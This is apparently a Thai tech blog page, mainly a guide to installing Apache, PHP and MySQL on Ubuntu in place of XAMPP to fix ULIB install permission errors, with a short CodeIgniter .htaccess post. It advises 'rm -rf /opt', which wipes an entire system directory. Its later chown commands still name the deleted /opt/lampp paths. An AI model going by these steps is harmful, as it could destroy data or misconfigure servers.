    มาทำความรู้จัก Media Queries

     

     

  • How to install apache,php,mysql instead xampp on ubuntu (for newbie)

    แรกเริ่มเดินทีวันนี้ก็ไม่ได้จะเขียน Post นี้หรอกครับ เพียงแต่ว่ามี บุคลากรในที่ทำงานเจอปัญหาในการติดตั้งโปรแกรม ห้องสมุด ULIB  โดยใช้ Ubuntu 12.04.1 LTS  เป็น server แล้วติดตั้ง xampp เพื่อให้ได้ครบทุก package ในการใช้งาน แต่ไม่สามารถทำการติดตั้งโปรแกรม ULIB ได้เนื่องจากโปรแกรมฟ้องเรื่อง permission  ในการติดตั้งโปรแกรมดังข้างล่าง

     

    มีปัญหาเกี่ยวกับการเปลี่ยนโหมดไฟล์/File permission problem – ไม่อนุญาตให้ติดตั้ง [../inc/config.inc.sv.php]
    Notice: Undefined variable: dcrs in /opt/lampp/htdocs/ULIB/install/index.php on line 239
    มีปัญหาเกี่ยวกับการเปลี่ยนโหมดไฟล์/File permission problem – ไม่อนุญาตให้ติดตั้ง [../inc/config.inc.php]
    Notice: Undefined variable: dcrs in /opt/lampp/htdocs/ULIB/install/index.php on line 239
    มีปัญหาเกี่ยวกับการเปลี่ยนโหมดไฟล์/File permission problem – ไม่อนุญาตให้ติดตั้ง [../inc/c.inc.php]
    Notice: Undefined variable: dcrs in /opt/lampp/htdocs/ULIB/install/index.php on line 239
    มีปัญหาเกี่ยวกับการเปลี่ยนโหมดไฟล์/File permission problem – ไม่อนุญาตให้ติดตั้ง [../webboard/c.inc.php]
    Notice: Undefined variable: dcrs in /opt/lampp/htdocs/ULIB/install/index.php on line 239
    มีปัญหาเกี่ยวกับการเปลี่ยนโหมดไฟล์/File permission problem – ไม่อนุญาตให้ติดตั้ง [../web/c.inc.php]
    Notice: Undefined variable: dcrs in /opt/lampp/htdocs/ULIB/install/index.php on line 239

    หากคุณเป็นผู้ดูแลระบบเซิร์ฟเวอร์บนระบบปฏิบัติการ Linux/If you are server administrator (Linux)
    Execute in command line
    chown apache:apache ‘/opt/lampp/htdocs/ULIB/inc/config.inc.sv.php’ ;
    chown apache:apache ‘/opt/lampp/htdocs/ULIB/inc/config.inc.php’ ;
    chown apache:apache ‘/opt/lampp/htdocs/ULIB/inc/c.inc.php’ ;
    chown apache:apache ‘/opt/lampp/htdocs/ULIB/webboard/c.inc.php’ ;
    chown apache:apache ‘/opt/lampp/htdocs/ULIB/web/c.inc.php’ ;

    * apache:apache คือชื่อ User และ Group ของโปรแกรม Apache หากเซิร์ฟเวอร์ของคุณมีการปรับแต่งเป็นอย่างอื่น ก็ต้องแก้ apache:apache ตามด้วย

     

    ผมจึงลองเปลี่ยน user และ group เป็น www-data:www-data  แล้วแต่มันก็ยังไม่สามารถติดตั้งระบบได้อยู่ดี จึงลองลบ xampp ออกจากเครื่องเลย วิธีการลบตอนแรกก็งงๆเหมือนกัน เพราะผมดันไปใช้คำสั่ง apt-get install opt  และก็ dpkg -P opt  ซึ่งมันก็ไม่สามารถลบได้ เพราะเหมือนว่าไอ่เจ้าถูก opt มองเห็นเป็นเพียง directory หนึ่งเท่านั้น ดังนั้นวิธีการลบจึงแค่ใช้คำสั่ง rm -rf /opt แทน ครับ [1]

    จากนั้นเมื่อลบแล้วจึงลองติดตั้งแบบแยกทีบะตัวดูครับโดยเริ่มจาก

    1.ติดตั้ง MySQL  ก่อนเป็นอันดับแรกเลยก็ได้ครับโดยใช้คำสั่ง   sudo  apt-get install mysql-server mysql-client   ระบบจะให้เราใส่รหัสผ่านของ root และก็ยืนยันอีกครั้ง [2]

    2.ติดตั้ง apache2  โดยใช้คำสั่ง    sudo    apt-get install apache2 apache2-doc      [3]

    3.ติดตั้ง php  โดยคำสั่ง                  sudo  apt-get install php5 libapache2-mod-php5    โดยตอนที่ระบบมันถามว่าจะเลือก server อะไรให้เราเลือก apache2  นะครับ  [4]

    4.ทำการ restart service ด้วยคำสั่ง   sudo /etc/init.d/apache2  restart    (จากนี้ลองเปิด browser แล้วทดลองเข้าไปใน localhost ดูครับว่าใช้งานได้ใหม? หากใช้ไม่ได้ต้องไปตรวจสอบ service ดูว่า apache ทำงานหรือยัง.. ) [5]

    5.หากต้องการติดตั้ง phpmyadmin เพื่อทำการคอนฟิคดาต้าเบสให้ใช้คำสั่งดังต่อไปนี้ครับ       sudo apt-get install phpmyadmin     [6]  และกรอกรหัสผ่านของ root  ใน mysql ด้วยนะครับ ซึ่งหากถูกต้องก็จะสามารถเปิด phpmyadmin เข้าไปใช้งาน database ได้ตามปกติครับ

    กลับมาที่ ULIB อีกครั้งครับ copy file  ULIB เข้าไปไว้ใน   var/www/   และทำการเปลี่ยน

    chown www-data:www-data ‘/opt/lampp/htdocs/ULIB/inc/config.inc.sv.php’ ;
    chown www-data:www-data ‘/opt/lampp/htdocs/ULIB/inc/config.inc.php’ ;
    chown www-data:www-data ‘/opt/lampp/htdocs/ULIB/inc/c.inc.php’ ;
    chown www-data:www-data ‘/opt/lampp/htdocs/ULIB/webboard/c.inc.php’ ;
    chown www-data:www-data ‘/opt/lampp/htdocs/ULIB/web/c.inc.php’ ;

    จากนั้นเมื่อเปิด browser  ไปที่  localhost/ULIB/install  ก็จะสามารถติดตั้งโปรแกรมผ่านได้เลยครับ !!!!

    หากผู้ที่กำลังเจอปัญหาเรื่อง ULIB  สนใจ   หรือผู้ที่สนใจจะไม่ใช้   xampp หรือ appserv  สามารถดำเนินการติดตั้งแบบผมก็ได้นะครับเพราะผมเคยเจอตอนจะ update phpmyadmin แล้วกลัวมีปัญหา ซึ่งตอนนั้นติดตั้ง  appserv  จึงเกิดปัญหาว่าหากเราติดตั้ง phpmyadmin ตัวใหม่ไปมันจะสามารถใช้งานแทนตัวเก่าได้หรือไม่และจะมีผลอะไรต่อจากนั้นหรือเปล่า ตอนนั้นกว่าจะแก้ได้ก็เหงื่อตกเลยครับ..

     

     

    อ้างอิง

    1.http://www.apachefriends.org/en/xampp-linux.html#388

    2.http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-ubuntu-12.04-lts-lamp

    3.http://opensource.cc.psu.ac.th/ติดตั้ง_apache_บน_ubuntu

    4.http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-ubuntu-12.04-lts-lamp

    5.http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-ubuntu-12.04-lts-lamp

    6.http://opensource.cc.psu.ac.th/ติดตั้ง_phpmyadmin

  • วิธีเอา index.php ของ Codeigniter ออกไป (Ubuntu/Linux Mint)

    1.สร้างไฟล์ .htaccess ในโปรเจกของท่าน ดำเนินใส่โค๊ดดังนี้ (สมมุติว่าเป็น /var/www/ci/)

    RewriteEngine on
    RewriteBase /ci/
    RewriteCond $1 !^(index\.php|assets|uploads|robots\.txt)
    RewriteRule ^(.*)$ index.php/$1 [L]

     

    2.เปิด  terminal และพิมพ์คำสั่ง เพื่อเปิด mod_rewrite

    sudo a2enmod rewrite

     

    3.เพิ่ม virtual host ใน /etc/apache2/sites-available/default

    sudo gedit /etc/apache2/sites-available/default

     

    4.เพิ่มโค้ดดังนี้

    <Directory /var/www/ci>
            Options Indexes FollowSymLinks MultiViews
                    AllowOverride All
                    Order allow,deny
                    allow from all             
    </Directory>

     

    5. Restart Apache

    sudo /etc/init.d/apache2 restart

     

    6.ไปที่โปรเจก codeigniter แก้ไขไฟล์  application/config/config.php เอา index.php ออก

    จาก $config[‘index_page’] = ‘index.php’;

    เป็น $config[‘index_page’] = ”;

  • การเชื่อมต่อ PSU Passport : WordPress-LDAP (AD Integration Plugin)

    วิธีการเชื่อมต่อ PSU Passport ด้วย WordPress ผ่าน LDAPS Plugin AD Integration

    ทดสอบบน : Windows 2008 R2 / WordPress 4.1 / Active Directory Integration 1.1.5

    (more…)